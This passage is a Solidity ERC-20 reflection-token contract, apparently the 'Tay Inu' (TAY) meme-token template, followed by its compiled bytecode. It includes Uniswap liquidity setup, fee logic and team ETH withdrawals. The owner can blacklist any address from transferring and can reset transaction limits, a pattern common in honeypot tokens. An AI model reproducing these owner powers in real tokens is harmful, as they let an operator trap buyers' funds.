}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3c565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612edd565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a00565b6105ad565b6040516101a09190612ec2565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb919061307f565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b1565b6105dc565b6040516102089190612ec2565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c11565b60405161024a91906130f4565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7d565b610c1a565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612923565b610ccc565b005b3480156102b157600080fd5b506102ba610dbc565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612923565b610e2e565b6040516102f0919061307f565b60405180910390f35b34801561030557600080fd5b5061030e610e7f565b005b34801561031c57600080fd5b50610325610fd2565b6040516103329190612df4565b60405180910390f35b34801561034757600080fd5b50610350610ffb565b60405161035d9190612edd565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a00565b611038565b60405161039a9190612ec2565b60405180910390f35b3480156103af57600080fd5b506103b8611056565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612acf565b6110d0565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612975565b611219565b604051610417919061307f565b60405180910390f35b6104286112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fdf565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613395565b9150506104b8565b5050565b60606040518060400160405280600781526020017f54617920496e7500000000000000000000000000000000000000000000000000815250905090565b60006105c16105ba6112a0565b84846112a8565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611473565b6106aa846105f56112a0565b6106a5856040518060600160405280602881526020016137b860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c329092919063ffffffff16565b6112a8565b600190509392505050565b6106bd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fdf565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f1f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294c565b6040518363ffffffff1660e01b815260040161095f929190612e0f565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294c565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2e565b600080610a45610fd2565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e61565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af8565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbb929190612e38565b602060405180830381600087803b158015610bd557600080fd5b505af1158015610be9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0d9190612aa6565b5050565b60006009905090565b610c226112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca690612fdf565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd46112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5890612fdf565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1614610e1d57600080fd5b6000479050610e2b81611c96565b50565b6000610e78600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d91565b9050919050565b610e876112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0b90612fdf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f5441590000000000000000000000000000000000000000000000000000000000815250905090565b600061104c6110456112a0565b8484611473565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110976112a0565b73ffffffffffffffffffffffffffffffffffffffff16146110b757600080fd5b60006110c230610e2e565b90506110cd81611dff565b50565b6110d86112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611165576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115c90612fdf565b60405180910390fd5b600081116111a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119f90612f9f565b60405180910390fd5b6111d760646111c983683635c9adc5dea000006120f990919063ffffffff16565b61217490919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120e919061307f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611318576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130f9061303f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137f90612f5f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611466919061307f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114da9061301f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154a90612eff565b60405180910390fd5b60008111611596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158d90612fff565b60405180910390fd5b61159e610fd2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160c57506115dc610fd2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6f57600f60179054906101000a900460ff161561183f573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168e57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e85750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117425750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183e57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117886112a0565b73ffffffffffffffffffffffffffffffffffffffff1614806117fe5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e66112a0565b73ffffffffffffffffffffffffffffffffffffffff16145b61183d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118349061305f565b60405180910390fd5b5b5b60105481111561184e57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f25750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fb57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a65750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a145750600f60179054906101000a900460ff165b15611ab55742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6457600080fd5b601e42611a7191906131b5565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac030610e2e565b9050600f60159054906101000a900460ff16158015611b2d5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b455750600f60169054906101000a900460ff165b15611b6d57611b5381611dff565b60004790506000811115611b6b57611b6a47611c96565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c165750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2057600090505b611c2c848484846121be565b50505050565b6000838311158290611c7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c719190612edd565b60405180910390fd5b5060008385611c899190613296565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce660028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d11573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6260028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8d573d6000803e3d6000fd5b5050565b6000600654821115611dd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcf90612f3f565b60405180910390fd5b6000611de26121eb565b9050611df7818461217490919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5d577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8b5781602001602082028036833780820191505090505b5090503081600081518110611ec9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6b57600080fd5b505afa158015611f7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa3919061294c565b81600181518110611fdd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a8565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a895949392919061309a565b600060405180830381600087803b1580156120c257600080fd5b505af11580156120d6573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210c576000905061216e565b6000828461211a919061323c565b9050828482612129919061320b565b14612169576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216090612fbf565b60405180910390fd5b809150505b92915050565b60006121b683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612216565b905092915050565b806121cc576121cb612279565b5b6121d78484846122aa565b806121e5576121e4612475565b5b50505050565b60008060006121f8612487565b9150915061220f818361217490919063ffffffff16565b9250505090565b6000808311829061225d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122549190612edd565b60405180910390fd5b506000838561226c919061320b565b9050809150509392505050565b600060085414801561228d57506000600954145b15612297576122a8565b600060088190555060006009819055505b565b6000806000806000806122bc876124e9565b95509550955095509550955061231a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123af85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fb816125f9565b61240584836126b6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612462919061307f565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124bd683635c9adc5dea0000060065461217490919063ffffffff16565b8210156124dc57600654683635c9adc5dea000009350935050506124e5565b81819350935050505b9091565b60008060008060008060008060006125068a6008546009546126f0565b92509250925060006125166121eb565b905060008060006125298e878787612786565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c32565b905092915050565b60008082846125aa91906131b5565b9050838110156125ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e690612f7f565b60405180910390fd5b8091505092915050565b60006126036121eb565b9050600061261a82846120f990919063ffffffff16565b905061266e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cb8260065461255190919063ffffffff16565b6006819055506126e68160075461259b90919063ffffffff16565b6007819055505050565b60008060008061271c606461270e888a6120f990919063ffffffff16565b61217490919063ffffffff16565b905060006127466064612738888b6120f990919063ffffffff16565b61217490919063ffffffff16565b9050600061276f82612761858c61255190919063ffffffff16565b61255190919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061279f85896120f990919063ffffffff16565b905060006127b686896120f990919063ffffffff16565b905060006127cd87896120f990919063ffffffff16565b905060006127f6826127e8858761255190919063ffffffff16565b61255190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282261281d84613134565b61310f565b9050808382526020820190508285602086028201111561284157600080fd5b60005b858110156128715781612857888261287b565b845260208401935060208301925050600181019050612844565b5050509392505050565b60008135905061288a81613772565b92915050565b60008151905061289f81613772565b92915050565b600082601f8301126128b657600080fd5b81356128c684826020860161280f565b91505092915050565b6000813590506128de81613789565b92915050565b6000815190506128f381613789565b92915050565b600081359050612908816137a0565b92915050565b60008151905061291d816137a0565b92915050565b60006020828403121561293557600080fd5b60006129438482850161287b565b91505092915050565b60006020828403121561295e57600080fd5b600061296c84828501612890565b91505092915050565b6000806040838503121561298857600080fd5b60006129968582860161287b565b92505060206129a78582860161287b565b9150509250929050565b6000806000606084860312156129c657600080fd5b60006129d48682870161287b565b93505060206129e58682870161287b565b92505060406129f6868287016128f9565b9150509250925092565b60008060408385031215612a1357600080fd5b6000612a218582860161287b565b9250506020612a32858286016128f9565b9150509250929050565b600060208284031215612a4e57600080fd5b600082013567ffffffffffffffff811115612a6857600080fd5b612a74848285016128a5565b91505092915050565b600060208284031215612a8f57600080fd5b6000612a9d848285016128cf565b91505092915050565b600060208284031215612ab857600080fd5b6000612ac6848285016128e4565b91505092915050565b600060208284031215612ae157600080fd5b6000612aef848285016128f9565b91505092915050565b600080600060608486031215612b0d57600080fd5b6000612b1b8682870161290e565b9350506020612b2c8682870161290e565b9250506040612b3d8682870161290e565b9150509250925092565b6000612b538383612b5f565b60208301905092915050565b612b68816132ca565b82525050565b612b77816132ca565b82525050565b6000612b8882613170565b612b928185613193565b9350612b9d83613160565b8060005b83811015612bce578151612bb58882612b47565b9750612bc083613186565b925050600181019050612ba1565b5085935050505092915050565b612be4816132dc565b82525050565b612bf38161331f565b82525050565b6000612c048261317b565b612c0e81856131a4565b9350612c1e818560208601613331565b612c278161346b565b840191505092915050565b6000612c3f6023836131a4565b9150612c4a8261347c565b604082019050919050565b6000612c62601a836131a4565b9150612c6d826134cb565b602082019050919050565b6000612c85602a836131a4565b9150612c90826134f4565b604082019050919050565b6000612ca86022836131a4565b9150612cb382613543565b604082019050919050565b6000612ccb601b836131a4565b9150612cd682613592565b602082019050919050565b6000612cee601d836131a4565b9150612cf9826135bb565b602082019050919050565b6000612d116021836131a4565b9150612d1c826135e4565b604082019050919050565b6000612d346020836131a4565b9150612d3f82613633565b602082019050919050565b6000612d576029836131a4565b9150612d628261365c565b604082019050919050565b6000612d7a6025836131a4565b9150612d85826136ab565b604082019050919050565b6000612d9d6024836131a4565b9150612da8826136fa565b604082019050919050565b6000612dc06011836131a4565b9150612dcb82613749565b602082019050919050565b612ddf81613308565b82525050565b612dee81613312565b82525050565b6000602082019050612e096000830184612b6e565b92915050565b6000604082019050612e246000830185612b6e565b612e316020830184612b6e565b9392505050565b6000604082019050612e4d6000830185612b6e565b612e5a6020830184612dd6565b9392505050565b600060c082019050612e766000830189612b6e565b612e836020830188612dd6565b612e906040830187612bea565b612e9d6060830186612bea565b612eaa6080830185612b6e565b612eb760a0830184612dd6565b979650505050505050565b6000602082019050612ed76000830184612bdb565b92915050565b60006020820190508181036000830152612ef78184612bf9565b905092915050565b60006020820190508181036000830152612f1881612c32565b9050919050565b60006020820190508181036000830152612f3881612c55565b9050919050565b60006020820190508181036000830152612f5881612c78565b9050919050565b60006020820190508181036000830152612f7881612c9b565b9050919050565b60006020820190508181036000830152612f9881612cbe565b9050919050565b60006020820190508181036000830152612fb881612ce1565b9050919050565b60006020820190508181036000830152612fd881612d04565b9050919050565b60006020820190508181036000830152612ff881612d27565b9050919050565b6000602082019050818103600083015261301881612d4a565b9050919050565b6000602082019050818103600083015261303881612d6d565b9050919050565b6000602082019050818103600083015261305881612d90565b9050919050565b6000602082019050818103600083015261307881612db3565b9050919050565b60006020820190506130946000830184612dd6565b92915050565b600060a0820190506130af6000830188612dd6565b6130bc6020830187612bea565b81810360408301526130ce8186612b7d565b90506130dd6060830185612b6e565b6130ea6080830184612dd6565b9695505050505050565b60006020820190506131096000830184612de5565b92915050565b600061311961312a565b90506131258282613364565b919050565b6000604051905090565b600067ffffffffffffffff82111561314f5761314e61343c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c082613308565b91506131cb83613308565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613200576131ff6133de565b5b828201905092915050565b600061321682613308565b915061322183613308565b9250826132315761323061340d565b5b828204905092915050565b600061324782613308565b915061325283613308565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328b5761328a6133de565b5b828202905092915050565b60006132a182613308565b91506132ac83613308565b9250828210156132bf576132be6133de565b5b828203905092915050565b60006132d5826132e8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332a82613308565b9050919050565b60005b8381101561334f578082015181840152602081019050613334565b8381111561335e576000848401525b50505050565b61336d8261346b565b810181811067ffffffffffffffff8211171561338c5761338b61343c565b5b80604052505050565b60006133a082613308565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d3576133d26133de565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377b816132ca565b811461378657600080fd5b50565b613792816132dc565b811461379d57600080fd5b50565b6137a981613308565b81146137b457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207ce2a09f2aaad069d9e6327a5e408fba289f16092cb7680d493a80fd4ca9be9a64736f6c63430008040033
|
